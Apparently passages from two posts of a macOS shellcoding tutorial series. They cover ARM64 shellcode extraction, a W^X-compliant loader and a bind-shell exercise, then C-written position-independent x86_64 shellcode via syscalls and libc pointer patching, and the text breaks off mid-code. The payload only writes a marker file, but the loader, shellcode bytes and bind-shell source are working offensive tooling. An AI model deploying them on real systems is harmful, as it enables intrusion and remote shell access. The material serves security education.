0000000000000060 d4001001 6f686365 30572220 30577430 
0000000000000070 20227430 742f203e 502f706d 64656e77 
0000000000000080 7478742e 00000000 

Looks perfect, Right? Now stop and look VERY carefully at the last rows, Cause here it comes…

The ARM64 Byte-Order Trap

In our x86_64 blogpost we extracted the shellcode by piping objdump/otool output through grep/awk to grab the hex bytes, Then xxd -r -p to binary. If you try the exact same pipeline here, You will ship broken shellcode. Look at the string bytes in the otool dump above: 6f686365 — read as bytes that’s ohce, But our string starts with echo! What’s going on?

The answer: on ARM64, Both objdump and otool print each 4-byte group as a 32-bit word value (d100c3ff is the instruction value), While the actual bytes in the file are little-endian (ff c3 00 d1). On x86_64 the tools printed byte-by-byte in order, So the naive pipeline worked. Here, xxd -r -p on that output gives you every 4-byte group reversed — Byte-swapped garbage that will never execute. This is the kind of silent bug that costs you hours in debugging, Cause the hex looks right.

You can fix it in the pipeline by reversing each word:

shellcoding % otool -s __TEXT __text ~/shellcoding/execute.o \
  | sed -n '3,$p' \
  | awk '{ for(i=2;i<=NF;i++) printf "%s%s%s%s", substr($i,7,2), substr($i,5,2), substr($i,3,2), substr($i,1,2) } END{ print "" }' > shellcode.hex

But there is a cleaner native way, And honestly the tool Apple gave us for exactly this job:

segedit: The Clean Way

segedit extracts a section’s raw bytes from a Mach-O directly — no hex parsing, No byte-order gymnastics, No padding surprises (otool pads its display to word boundaries, segedit gives you the exact section):

shellcoding % segedit ~/shellcoding/execute.o -extract __TEXT __text shellcode.bin
shellcoding % wc -c shellcode.bin
     133 shellcode.bin // 133 bytes
shellcoding % xxd shellcode.bin | head -3
00000000: ffc3 00d1 e945 8cd2 29cd adf2 e965 cef2  .....E..)....e..
00000010: 090d e0f2 e903 00f8 aa65 8cd2 ea83 00f8  .........e......
00000020: cb02 0010 e303 0091 e423 0091 e30b 00f9  .........#......
shellcoding % xxd shellcode.bin | tail -3
00000050: 0110 00d4 6563 686f 2022 5730            ....echo "W0
00000060: 3074 5730 3074 2220 3e20 2f74 6d70 2f50  0tW00t" > /tmp/P
00000070: 776e 6564 2e74 7874 00                   wned.txt.

Look at that — the first bytes are ff c3 00 d1 (the real little-endian encoding of sub sp, sp, #0x30), And the string at the end reads wned.txt. from Pwned.txt in perfect order. 133 bytes: 100 bytes of code + 33 bytes of our command string (including its NULL terminator).

• Convert it to the C array we will need for the loader:

shellcoding % xxd -i shellcode.bin > shellcode.h
shellcoding % cat shellcode.h
unsigned char shellcode_bin[] = {
  0xff, 0xc3, 0x00, 0xd1, 0xe9, 0x45, 0x8c, 0xd2, 0x29, 0xcd, 0xad, 0xf2,
  0xe9, 0x65, 0xce, 0xf2, 0x09, 0x0d, 0xe0, 0xf2, 0xe9, 0x03, 0x00, 0xf8,
  0xaa, 0x65, 0x8c, 0xd2, 0xea, 0x83, 0x00, 0xf8, 0x2b, 0x02, 0x00, 0x10,
  0xe3, 0x03, 0x00, 0x91, 0xe4, 0x23, 0x00, 0x91, 0xe3, 0x0b, 0x00, 0xf9,
  0xe4, 0x0f, 0x00, 0xf9, 0xeb, 0x13, 0x00, 0xf9, 0xff, 0x17, 0x00, 0xf9,
  0xe0, 0x03, 0x00, 0x91, 0xe1, 0x43, 0x00, 0x91, 0xe2, 0x03, 0x1f, 0xaa,
  0x70, 0x07, 0x80, 0xd2, 0x10, 0x40, 0xa0, 0xf2, 0x01, 0x10, 0x00, 0xd4,
  0x30, 0x00, 0x80, 0xd2, 0x10, 0x40, 0xa0, 0xf2, 0x00, 0x00, 0x80, 0xd2,
  0x01, 0x10, 0x00, 0xd4, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x22, 0x57, 0x30,
  0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22, 0x20, 0x3e, 0x20, 0x2f, 0x74,
  0x6d, 0x70, 0x2f, 0x50, 0x77, 0x6e, 0x65, 0x64, 0x2e, 0x74, 0x78, 0x74,
  0x00
};
unsigned int shellcode_bin_len = 133;

Test Shellcode with Loader

Now, Let’s write a loader in C — structurally the same loader from our x86_64 blogpost: fork() a child, map the shellcode, copy it, cast to a function pointer and call it, While the parent waitpid()s and checks the side-effect. But if you take the x86_64 loader unchanged, Apple Silicon will slap you too. Watch:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/wait.h>
#include <stdlib.h>

int main(void) {
    unsigned char code[] = {
      /* paste your extracted ARM64 shellcode bytes from xxd -i here */
    };
    size_t len = sizeof(code);

    pid_t pid = fork();
    if (pid < 0) {
        perror("fork");
        return 1;
    }

    if (pid == 0) {
        // child: allocate RWX, copy shellcode and execute
        void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC,
                          MAP_ANON|MAP_PRIVATE, -1, 0);
        if (exec == MAP_FAILED) {
            perror("mmap");
            _exit(127);
        }
        memcpy(exec, code, len);

        printf("[child %d] executing shellcode (%zu bytes)...\n", getpid(), len);
        fflush(stdout);

        int (*func)() = (int(*)())exec;
        int r = func();
        printf("[child %d] shellcode returned %d\n", getpid(), r);
        fflush(stdout);
        _exit(r & 0xFF);
    } else {
        // parent: wait for child and then check side-effect
        int status = 0;
        printf("[parent %d] spawned child %d, waiting...\n", getpid(), pid);
        fflush(stdout);

        if (waitpid(pid, &status, 0) == -1) {
            perror("waitpid");
            return 2;
        }

        if (WIFEXITED(status)) {
            printf("[parent] child exited with status %d\n", WEXITSTATUS(status));
        } else if (WIFSIGNALED(status)) {
            printf("[parent] child killed by signal %d\n", WTERMSIG(status));
        } else {
            printf("[parent] child ended with status 0x%x\n", status);
        }

        usleep(200000);

        const char *check_path = "/tmp/Pwned.txt";
        if (access(check_path, F_OK) == 0) {
            printf("[parent] Success: '%s' exists.\n", check_path);
            return 0;
        } else {
            printf("[parent] Failure: '%s' not found (errno=%d: %s)\n",
                   check_path, errno, strerror(errno));
            return 3;
        }
    }
}

Paste your real code[] bytes in, Compile it, Run it, And here is what happens on Apple Silicon:

shellcoding % clang -arch arm64 -o cloader cloader.c
shellcoding % ./cloader 
[parent 39201] spawned child 39202, waiting...
mmap: Permission denied
[parent] child exited with status 127
[parent] Failure: '/tmp/Pwned.txt' not found (errno=2: No such file or directory)

mmap: Permission denied — This is the W^X (Write XOR Execute) policy that Apple enforces on Apple Silicon: you simply cannot ask for a page that is writable and executable at the same time like we casually did on x86_64. This is exactly the kind of architecture difference that makes porting shellcode knowledge to ARM64 fun. The fix is the classic W^X-compliant dance: map the page RW, copy the shellcode in, Then flip it to RX with mprotect — never writable and executable at the same time:

    if (pid == 0) {
        // child: allocate RW, copy shellcode, then flip to RX (W^X — required on Apple Silicon)
        void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE,
                          MAP_ANON|MAP_PRIVATE, -1, 0);
        if (exec == MAP_FAILED) {
            perror("mmap");
            _exit(127);
        }
        memcpy(exec, code, len);
        if (mprotect(exec, len, PROT_READ|PROT_EXEC) != 0) {
            perror("mprotect");
            _exit(126);
        }

        printf("[child %d] executing shellcode (%zu bytes)...\n", getpid(), len);
        fflush(stdout);

        int (*func)() = (int(*)())exec;
        int r = func();
        printf("[child %d] shellcode returned %d\n", getpid(), r);
        fflush(stdout);
        _exit(r & 0xFF);
    }

Note: The other Apple-blessed way is MAP_JIT with pthread_jit_write_protect_np() to toggle writability around the copy — that’s what JavaScriptCore and real JIT engines use. For a loader, The RW → copy → mprotect(RX) dance is simpler and works everywhere.

Now run the fixed loader:

shellcoding % clang -arch arm64 -o cloader cloader.c
shellcoding % ./cloader 
[parent 39201] spawned child 39202, waiting...
[child 39202] executing shellcode (133 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
shellcoding % cat /tmp/Pwned.txt 
W00tW00t

As we can see our shellcode executed successfully with no issues.

The loader’s job is the same as the x86_64 one: it stores raw machine-code bytes (the shellcode) in a C unsigned char array, allocates a memory region, copies the bytes into that region, casts the region pointer to a function pointer, and then calls it. That direct transfer of control is what lets the program run arbitrary machine code in the address space of the process. Two ARM64-specific gotchas to keep in mind for your own loaders: first, The W^X mapping policy we just handled; Second, If you ever write shellcode that wants to return to the loader, X29 (frame pointer) and X30 (link register) must either not be touched, or must be saved and restored before returning (stp/ldp — Store/Load Pair), Otherwise the loader will crash the moment control comes back. Our shellcode plays it safe by ending with execve/exit so control never returns.

Exercises

If you want to dive deeper more, you can do this exercise which is involving in creating a BindShell shellcode for ARM64 and execute it — the same BindShell C code from the x86_64 post works just fine here since it’s pure C/POSIX:

// Source - https://stackoverflow.com/q
// Posted by gatorface, modified by community. See post 'Timeline' for change history
// Retrieved 2025-11-10, License - CC BY-SA 3.0

// Author:  Julien Ahrens (@MrTuxracer)
// Website:  http://www.rcesecurity.com 

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void)
{
    int i; // used for dup2 later
    int sockfd; // socket file descriptor
    int clientfd; // client file descriptor
    socklen_t socklen; // socket-length for new connections

    struct sockaddr_in srv_addr; // server aka listen address
    struct sockaddr_in cli_addr; // client address

    srv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
    srv_addr.sin_port = htons( 1337 ); // server port, converted to network byte order
    srv_addr.sin_addr.s_addr = htonl (INADDR_ANY); // listen on any address, converted to network byte order

    // create new TCP socket
    sockfd = socket(2, 1, 0);

    // bind socket
    bind( sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr) );

    // listen on socket
    listen(sockfd, 0);

    // accept new connections
    socklen = sizeof(cli_addr);
    clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &socklen );

    // dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
    for(i = 0; i <= 2; i++)
        dup2(clientfd, i);

    // magic
    // execve( "/bin/sh", NULL, NULL );

    //UPDATE: fixed exec call, shell still not returned to
    // client connecting with execl or proper execve
    execl("/bin/sh", "/bin/sh", (char *)NULL);
}

Tasks:

• Use execve() instead of execl — and remember your NULL terminator for the argv array, Plus pointers not values.
• Collect the syscall for socket,bind,listen,accept and dup2. As you will use it to build your BindShell.
• Study the functions arguments and get it ready for the functions/syscalls
• Make sure to go around with the struct, Cause it’s similler to the way we built arrays
• Make sure to use the kernel source code to hop-around to find a variable value, like the #define AF_INET for example and explore the source code to help you creating your shellcode.
• This time, Remember that your syscall numbers go in X16 and the syscall instruction is svc #0x80.
• Make sure to keep your stack 16-byte aligned all the way, Cause the alignment faults on ARM64 are not as forgiving as x86_64.

Help ?

If you got any questions or need help, You can contact me:

• Linkedin
• Twitter/X
• Email: contact@zeyadazima.com
• Discord: .killer_1337 including .

Conclusion

We extended our macOS shellcoding series from x86_64 into the native ARM64 (AArch64) architecture used by modern Apple Silicon Macs. We set up a proper lab environment using clang instead of nasm (which doesn’t speak ARM at all), Reused the exact same XNU syscall class encoding trick from the x86_64 post but loading the ticket in X16 and ringing svc #0x80 instead of RAX + syscall, and learned the ARM64 calling conventions: X0-X7 for arguments, X16 for the syscall number, and the strict 16-byte stack alignment that the kernel actually enforces with alignment faults. We also saw how fixed-size instructions change our shellcode-writing habits — Building strings with movz/movk chunk by chunk instead of one-shot pushes, and using adr for the position-independent string trick which is even cleaner than its x86_64 sibling. Along the way we hit the real ARM64 gotchas that no x86_64 guide will warn you about: the exit-less shellcode dying with SIGILL (illegal hardware instruction) instead of a segfault, The execve pointer-vs-value and NULL-termination traps, The otool/objdump byte-order trap that silently breaks extracted shellcode (and the segedit fix), And Apple’s W^X policy that denies RWX mappings on Apple Silicon. By following our structured workflow — starting from C code, identifying syscalls from syscalls.master, converting to assembly, and handling arguments — we successfully created shellcodes for printing text, terminating processes, and executing commands, All tested on real hardware. This foundation sets the stage for more advanced topics.

References

• https://codebrowser.dev/
• https://man.freebsd.org/
• https://pubs.opengroup.org
• https://man7.org/linux/man-pages/
• https://opensource.apple.com/releases/
• https://github.com/apple-oss-distributions/xnu
• https://xcodereleases.com
• https://newosxbook.com
• https://developer.arm.com/documentation/102374/latest

Hello again! In our previous blogposts we explored shellcoding on macOS for both x86_64 and ARM64 architectures — But we always wrote our shellcodes by hand in assembly. Writing raw assembly is great for learning and full control, But sometimes you just want a quick, working shellcode without hand-crafting every push and movabs. So the question for this post: Can we write our shellcode in C and let the compiler do the heavy lifting? The answer is yes — with rules. The compiler is like a talented but chatty friend: left unattended, it will invite libc, the stack protector and RIP-relative addressing to the party, And your shellcode dies the moment you memcpy it somewhere else. In this post we will learn how to keep the compiler on a leash and get clean, extractable shellcode out of C — using two different methods, Each with its own trade-offs:

• Method 1 — Position-Independent, Syscall-Only: zero libc, zero fixed addresses, works anywhere, Any process, Any boot. The purist approach.
• Method 2 — libc Through Function-Pointer Placeholders: we keep calling libc functions like execv — But through pointers holding placeholder addresses, Which we patch with the real runtime addresses before use. Way faster to develop, With one big catch: ASLR.

This is a continuation of our shellcoding series, So the XNU syscall classes, the 0x2000004-style encoded numbers and the calling conventions from the first post are assumed known — Method 1 reuses them heavily. And to keep things fair, Both methods will cook the exact same meal: our old friend echo "W00tW00t" > /tmp/Pwned.txt, So we can compare apples to apples. Let’s start with our Blogpost.

You can find all the code on my github: https://github.com/Zeyad-Azima/macOShellcoding

Our environment for this post (this is an Intel Mac, so everything here runs natively):

~ % sw_vers
ProductName:		macOS
ProductVersion:		26.5.1
BuildVersion:		25F80
~ % uname -m
x86_64
~ % clang --version | head -1
Apple clang version 21.0.0 (clang-2100.0.123.102)

Note: you may have heard that macOS ships gcc. Run gcc --version and you’ll see it’s actually Apple clang wearing a gcc costume — Apple replaced GCC with LLVM/clang years ago, So that’s what we will use here. Keep in mind that older GNU gcc versions arrange code differently in a couple of spots — If you’re following along on a machine with real gcc, Expect small differences in the dumps and always trust your own disassembly.

Limitations

Writing shellcode in C sounds like a free lunch, But it comes with a menu of limitations we need to respect. Let’s write our usual payload — execve("/bin/sh", ["/bin/sh","-c","echo \"W00tW00t\" > /tmp/Pwned.txt"], NULL) — as plain C, compile it, And see what the compiler serves us:

/* bad_shellcode.c — the naive attempt: looks like normal C, breaks as shellcode */
#include <unistd.h>

int main(void) {
    char *argv[] = {"/bin/sh", "-c", "echo \"W00tW00t\" > /tmp/Pwned.txt", NULL};
    char *envp[] = {NULL};

    execve(argv[0], argv, envp);
    return 0;
}

shellcoding % clang -arch x86_64 -c bad_shellcode.c -o bad_shellcode.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel bad_shellcode.o

bad_shellcode.o:	file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 <_main>:
       0: 55                           	push	rbp
       1: 48 89 e5                     	mov	rbp, rsp
       4: 48 83 ec 40                  	sub	rsp, 0x40
       8: 48 8b 05 00 00 00 00         	mov	rax, qword ptr [rip]    ## 0xf <_main+0xf>
       f: 48 8b 00                     	mov	rax, qword ptr [rax]
      12: 48 89 45 f8                  	mov	qword ptr [rbp - 0x8], rax
      16: c7 45 c4 00 00 00 00         	mov	dword ptr [rbp - 0x3c], 0x0
      1d: 48 8b 05 00 00 00 00         	mov	rax, qword ptr [rip]    ## 0x24 <_main+0x24>
      24: 48 89 45 d0                  	mov	qword ptr [rbp - 0x30], rax
      28: 48 8b 05 08 00 00 00         	mov	rax, qword ptr [rip + 0x8] ## 0x37 <_main+0x37>
      2f: 48 89 45 d8                  	mov	qword ptr [rbp - 0x28], rax
      33: 48 8b 05 10 00 00 00         	mov	rax, qword ptr [rip + 0x10] ## 0x4a <_main+0x4a>
      3a: 48 89 45 e0                  	mov	qword ptr [rbp - 0x20], rax
      3e: 48 8b 05 18 00 00 00         	mov	rax, qword ptr [rip + 0x18] ## 0x5d <_main+0x5d>
      45: 48 89 45 e8                  	mov	qword ptr [rbp - 0x18], rax
      49: 48 8d 7d c8                  	lea	rdi, [rbp - 0x38]
      4d: 31 f6                        	xor	esi, esi
      4f: ba 08 00 00 00               	mov	edx, 0x8
      54: e8 00 00 00 00               	call	0x59 <_main+0x59>
      59: 48 8b 7d d0                  	mov	rdi, qword ptr [rbp - 0x30]
      5d: 48 8d 75 d0                  	lea	rsi, [rbp - 0x30]
      61: 48 8d 55 c8                  	lea	rdx, [rbp - 0x38]
      65: e8 00 00 00 00               	call	0x6a <_main+0x6a>
      6a: 48 8b 05 00 00 00 00         	mov	rax, qword ptr [rip]    ## 0x71 <_main+0x71>
      71: 48 8b 00                     	mov	rax, qword ptr [rax]
      74: 48 8b 4d f8                  	mov	rcx, qword ptr [rbp - 0x8]
      78: 48 39 c8                     	cmp	rax, rcx
      7b: 75 08                        	jne	0x85 <_main+0x85>
      7d: 31 c0                        	xor	eax, eax
      7f: 48 83 c4 40                  	add	rsp, 0x40
      83: 5d                           	pop	rbp
      84: c3                           	ret
      85: e8 00 00 00 00               	call	0x8a <_main+0x8a>
shellcoding % nm -u bad_shellcode.o
___stack_chk_fail
___stack_chk_guard
_execve
_memset

And here is the menu of limitations, revealed by that dump:

Note: notice we always pass --x86-asm-syntax=intel to objdump — Apple’s default flavor is AT&T, And we already suffered enough in assembly, no need to suffer reading it backwards too.

Our two methods attack these limitations from opposite directions: Method 1 eliminates libc entirely (pure syscalls, position-independent), While Method 2 embraces libc — But calls it through addresses we control. Let’s build both.

Shellcode Creation

Method 1: Position-Independent, Syscall-Only

Our target shellcode does the same thing as always: execve("/bin/sh", ["/bin/sh", "-c", "echo \"W00tW00t\" > /tmp/Pwned.txt"], NULL). Following our workflow from the previous posts, we already know everything: the syscall numbers with their BSD class encoding (execve = 0x200003B, exit = 0x2000001), And the calling conventions (RDI, RSI, RDX for the arguments, RAX for the number, then syscall).

Avoid {R|E}IP

This is the heart of the whole technique. Anything in C that lives at a fixed address — string literals, globals, static arrays — becomes a RIP-relative reference in the compiled output. RIP-relative means “the thing at this distance from where the code is running” — perfect for a linked binary that stays put, Fatal for shellcode that gets memcpy’d into some mmap’d page at a random address. The rule is simple:

Every byte your shellcode needs must be created at runtime, on the stack, from immediate values.

So how do we write that in C without the compiler smuggling a string literal in? We do exactly what we did by hand in assembly: movabs immediates into stack slots. In C that’s just initializing unsigned long variables with the little-endian hex of the string — The compiler turns each one into a movabs rax, <imm64> + stack store. Let’s decode our strings the same way we did in the assembly post:

• "/bin/sh\0" → bytes 2f 62 69 6e 2f 73 68 00 → little-endian 0x0068732f6e69622f
• "-c\0" → bytes 2d 63 00 ... → little-endian 0x000000000000632d
• "echo \"W00tW00t\" > /tmp/Pwned.txt\0" → 33 bytes → four unsigned long immediates + a zero terminator byte:

And here is our full shellcode in C — syscall wrappers via inline assembly (next section), strings as immediates, argv array on the stack, NULL-terminated:

/* shellcode.c — position-independent, syscall-only C shellcode for macOS x86_64 */
typedef unsigned long u64;

#define SYS_write   0x2000004UL /* (SYSCALL_CLASS_UNIX << 24) | 4  */
#define SYS_execve  0x200003BUL /* (SYSCALL_CLASS_UNIX << 24) | 59 */
#define SYS_exit    0x2000001UL /* (SYSCALL_CLASS_UNIX << 24) | 1  */

static u64 sc3(u64 n, u64 a, u64 b, u64 c)
{
    u64 ret;
    __asm__ __volatile__("syscall"
                         : "=a"(ret)
                         : "a"(n), "D"(a), "S"(b), "d"(c)
                         : "rcx", "r11", "memory");
    return ret;
}

int main(void)
{
    /* strings built from immediates on the stack — never a pointer into static data */
    volatile u64 s_sh = 0x0068732f6e69622fUL; /* "/bin/sh\0" */
    volatile u64 s_c  = 0x000000000000632dUL; /* "-c\0"      */

    /* "echo \"W00tW00t\" > /tmp/Pwned.txt\0" — 33 bytes, as 4 immediates + terminator */
    volatile char cmd[33];
    *(volatile u64 *)&cmd[0]  = 0x305722206f686365UL;
    *(volatile u64 *)&cmd[8]  = 0x2022743030577430UL;
    *(volatile u64 *)&cmd[16] = 0x502f706d742f203eUL;
    *(volatile u64 *)&cmd[24] = 0x7478742e64656e77UL;
    cmd[32] = 0;

    /* argv array on the stack — pointers to our stack strings, NULL-terminated */
    u64 argv[4];
    argv[0] = (u64)&s_sh;
    argv[1] = (u64)&s_c;
    argv[2] = (u64)cmd;
    argv[3] = 0;

    sc3(SYS_execve, (u64)&s_sh, (u64)argv, 0);
    sc3(SYS_exit, 0, 0, 0);
    __builtin_unreachable();
}

A few things to notice here:

• The volatile keywords are not decoration — they force every store to actually happen, in order, and stop -O2 from eliding anything the inline asm can’t see. Shellcode is no place for clever elision.
• argv[3] = 0 — our NULL terminator, the same trap we hit in the ARM64 post. The C compiler adds it silently in normal code; here we place it ourselves.
• __builtin_unreachable() after the final exit — tells the compiler there’s no way back, so it doesn’t generate any return path (you’ll see it emit a ud2 — a “this should never execute” trap — as the last instruction. It never does.)
• The syscall numbers are the exact same BSD-encoded tickets from our first post: (SYSCALL_CLASS_UNIX << 24) | syscall_number.

Now the compile line — this is where the leash is:

shellcoding % clang -arch x86_64 -c -O2 -ffreestanding -fno-stack-protector -fno-builtin shellcode.c -o shellcode.o
shellcoding % nm -u shellcode.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode.o

shellcode.o:	file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 <_main>:
       0: 55                           	push	rbp
       1: 48 89 e5                     	mov	rbp, rsp
       4: 48 b8 2f 62 69 6e 2f 73 68 00	movabs	rax, 0x68732f6e69622f
       e: 48 89 45 f0                  	mov	qword ptr [rbp - 0x10], rax
      12: 48 c7 45 f8 2d 63 00 00      	mov	qword ptr [rbp - 0x8], 0x632d
      1a: 48 b8 65 63 68 6f 20 22 57 30	movabs	rax, 0x305722206f686365
      24: 48 89 45 c0                  	mov	qword ptr [rbp - 0x40], rax
      28: 48 b8 30 74 57 30 30 74 22 20	movabs	rax, 0x2022743030577430
      32: 48 89 45 c8                  	mov	qword ptr [rbp - 0x38], rax
      36: 48 b8 3e 20 2f 74 6d 70 2f 50	movabs	rax, 0x502f706d742f203e
      40: 48 89 45 d0                  	mov	qword ptr [rbp - 0x30], rax
      44: 48 b8 77 6e 65 64 2e 74 78 74	movabs	rax, 0x7478742e64656e77
      4e: 48 89 45 d8                  	mov	qword ptr [rbp - 0x28], rax
      52: c6 45 e0 00                  	mov	byte ptr [rbp - 0x20], 0x0
      56: 48 8d 7d f0                  	lea	rdi, [rbp - 0x10]
      5a: 48 89 7d a0                  	mov	qword ptr [rbp - 0x60], rdi
      5e: 48 8d 45 f8                  	lea	rax, [rbp - 0x8]
      62: 48 89 45 a8                  	mov	qword ptr [rbp - 0x58], rax
      66: 48 8d 45 c0                  	lea	rax, [rbp - 0x40]
      6a: 48 89 45 b0                  	mov	qword ptr [rbp - 0x50], rax
      6e: 48 c7 45 b8 00 00 00 00      	mov	qword ptr [rbp - 0x48], 0x0
      76: 48 8d 75 a0                  	lea	rsi, [rbp - 0x60]
      7a: b8 3b 00 00 02               	mov	eax, 0x200003b
      7f: 31 d2                        	xor	edx, edx
      81: 0f 05                        	syscall
      83: b8 01 00 00 02               	mov	eax, 0x2000001
      88: 31 ff                        	xor	edi, edi
      8a: 31 f6                        	xor	esi, esi
      8c: 31 d2                        	xor	edx, edx
      8e: 0f 05                        	syscall
      90: 0f 0b                        	ud2

Look at that. nm -u printed nothing — zero undefined symbols. No [rip] anywhere. Every string is a movabs immediate stored to the stack — the compiler literally generated the same movabs + mov [rbp-x], rax pattern we hand-wrote in the assembly post. The argv array is built with lea rbp-relative addresses (stack addresses — computed at runtime, position-independent by nature), And both syscalls are right there: mov eax, 0x200003b + syscall, then the exit fallback. The ud2 at the end is the __builtin_unreachable() trap — unreachable, since exit never returns.

Note: watch the flags, they are not optional. Drop -O2 and the compiler stops inlining sc3() — you get real call instructions to your own wrapper, splitting the blob into pieces. Drop -fno-stack-protector and (depending on the toolchain version) a canary + ___stack_chk_fail sneaks in. Drop -ffreestanding/-fno-builtin and the compiler starts “helping” by calling memset and friends. Always verify with nm -u (must print nothing) and grep rip on the disassembly (must print nothing).

Avoid outsourced calls

The second rule: the shellcode can only call the kernel. Every call instruction in the final blob is a liability — call rel32 to a function that got linked elsewhere is a one-way ticket to SIGSEGV once the blob is relocated. That means:

• No libc functions. execve(), write(), memset(), printf() — all outsourced. We replace them with our own inline-assembly syscall wrappers:

static u64 sc3(u64 n, u64 a, u64 b, u64 c)
{
    u64 ret;
    __asm__ __volatile__("syscall"
                         : "=a"(ret)
                         : "a"(n), "D"(a), "S"(b), "d"(c)
                         : "rcx", "r11", "memory");
    return ret;
}

Reading the constraints: `"a"(n)` puts the encoded syscall number in `RAX`, `"D"(a)`, `"S"(b)`, `"d"(c)` load `RDI`, `RSI`, `RDX` with the three arguments — the exact calling convention from our first post. The clobbers list tells the compiler that `RCX` and `R11` get destroyed by the `syscall` instruction (they hold `RIP` and `RFLAGS` after the trap) and that `"memory"` may be read/written — so the compiler won’t reorder our stack-string stores past the syscall. Need more arguments? Add `sc4`, `sc5`... with `"r"(d)` constraints mapping into `R10` (note: the 4th kernel argument is `R10`, not `RCX` — `syscall` overwrites `RCX`).

• No function calls you didn’t inline. That’s why -O2 matters: our tiny static wrapper gets inlined at every call site, so the final blob has zero call instructions. Verify it — grep call on the disassembly must come back empty (ours does: only push, mov, lea, xor, syscall).
• No standard headers pulling in magic. We only use our own typedef and #defines. Headers like <unistd.h> are fine for reading function signatures, But don’t call anything from them.

The verification ritual before extracting — all three must be silent:

shellcoding % nm -u shellcode.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode.o | grep -i "\[rip"
shellcoding % otool -r shellcode.o

shellcode.o:

No undefined symbols, No RIP-relative memory operands, No relocations. The blob is free to live anywhere.

Method 2: libc Through Function-Pointers Placeholders

Method 1 is bulletproof — But writing something bigger, Like a bind shell, with raw syscall wrappers means hand-declaring struct sockaddr_in layouts, Byte-swapping ports by hand and juggling five different syscall numbers. Since we can call any function we want in C, development would be much faster if we could just… call libc. And we can — with a trick: we declare the function ourselves as a function-pointer type, Initialize it with a placeholder address, And patch that placeholder with execv’s real runtime address before the shellcode ever runs.

The catch first, So you can decide where this method applies: the addresses we hardcode are position-dependent — ASLR randomizes libc’s location in the shared cache once per boot. The address we bake in today is garbage after the next reboot. That means this method needs code execution on the target first — So we can look up the real addresses at runtime — Which makes it perfect for local exploitation (privilege escalation, post-exploitation), And the wrong tool for a fire-and-forget remote payload. Choose your weapon per scenario.

Same Payload, Different Strategy

Remember the two problems our bad_shellcode.o dump exposed in the Limitations section? The [rip]-relative string, And the call into libc’s stub. Method 1’s answer was “eliminate libc”. Method 2’s answer is sneakier:

1. The string problem — we solve it exactly like Method 1: our u64 immediate chunks on the stack. Reuse the same chunk table, No new homework.
2. The stub problem — instead of replacing execv() with a raw syscall, we keep the call — but redirect it: we declare execv’s signature ourselves as a function-pointer type, Initialize the pointer with a placeholder value, And the compiler emits a call register through our variable instead of a call into the __stubs section. Later, We patch the placeholder with the real runtime address of execv.

The compile line is lighter this time — we don’t need -ffreestanding or -fno-builtin (we’re not hiding from libc, we’re just not calling it by name), But we still take the canary off:

clang -arch x86_64 -c -fno-stack-protector shellcode_m2.c -o shellcode_m2.o

Building Strings Without the Compiler’s Help

First attempt — the classic trick you’ll see recommended: declare the string as a char array with character initializers, Hoping the compiler materializes it inside the code:

char b[] = {'/','b','i','n','/','s','h',0};

On older gcc versions this worked — But our Apple clang 21 is smarter than we’d like: it constant-folds the array back into a __cstring literal and copies it in with rip-relative loads — Even with volatile, Even at -O0:

; what clang 21 actually emits for the initializer above (still rip-dependent!):
100000478: 66 8b 05 33 00 00 00  mov	ax, word ptr [rip + 0x33]
10000047f: 66 89 45 f8          	mov	word ptr [rbp - 0x8], ax
100000483: 48 8b 05 20 00 00 00 	mov	rax, qword ptr [rip + 0x20]
10000048a: 48 89 45 f0          	mov	qword ptr [rbp - 0x10], rax

The compiler outsmarted the trick. So we go back to our own recipe from Method 1 — immediates the compiler cannot fold, Because they’re just numbers being moved into stack slots:

volatile u64 s_sh = 0x0068732f6e69622fUL;   /* "/bin/sh\0" */
volatile u64 s_c  = 0x000000000000632dUL;   /* "-c\0"      */

volatile char cmd[33];
*(volatile u64 *)&cmd[0]  = 0x305722206f686365UL;
*(volatile u64 *)&cmd[8]  = 0x2022743030577430UL;
*(volatile u64 *)&cmd[16] = 0x502f706d742f203eUL;
*(volatile u64 *)&cmd[24] = 0x7478742e64656e77UL;
cmd[32] = 0;

Same chunk table as Method 1 — One payload, One set of homework. For very short strings you can also do element-wise assignments (b[0] = '/'; b[1] = 'b'; ...) — Each becomes its own mov byte ptr [rbp - x], imm8, Which clang also can’t fold. Pick whichever reads better for your shellcode.

Calling libc Through a Placeholder

Now the stub problem. execv’s real signature (from Libc’s unistd.h) is:

int execv(const char *path, char *const argv[]);

We declare that signature ourselves as a function-pointer type, create a variable of it, And cast our placeholder address into it — This works because functions in C are just memory addresses, And calling through the pointer emits an indirect call register instead of a linked call:

/* shellcode_m2.c — Method 2: libc through function-pointer placeholders */
typedef unsigned long u64;

int main(void)
{
    /* execv's real signature: int execv(const char *path, char *const argv[]); */
    typedef int *(*execv_t)(const char *, char *const *);
    execv_t my_execv = (execv_t)0x1122334455667788;   /* placeholder — patched with the real one below */

    volatile u64 s_sh = 0x0068732f6e69622fUL;   /* "/bin/sh\0" */
    volatile u64 s_c  = 0x000000000000632dUL;   /* "-c\0"      */

    /* "echo \"W00tW00t\" > /tmp/Pwned.txt\0" — same chunks as Method 1 */
    volatile char cmd[33];
    *(volatile u64 *)&cmd[0]  = 0x305722206f686365UL;
    *(volatile u64 *)&cmd[8]  = 0x2022743030577430UL;
    *(volatile u64 *)&cmd[16] = 0x502f706d742f203eUL;
    *(volatile u64 *)&cmd[24] = 0x7478742e64656e77UL;
    cmd[32] = 0;

    char *argv[4];
    argv[0] = (char *)&s_sh;   /* argv[0] must be the same path */
    argv[1] = (char *)&s_c;
    argv[2] = cmd;
    argv[3] = 0;               /* NULL-terminated */

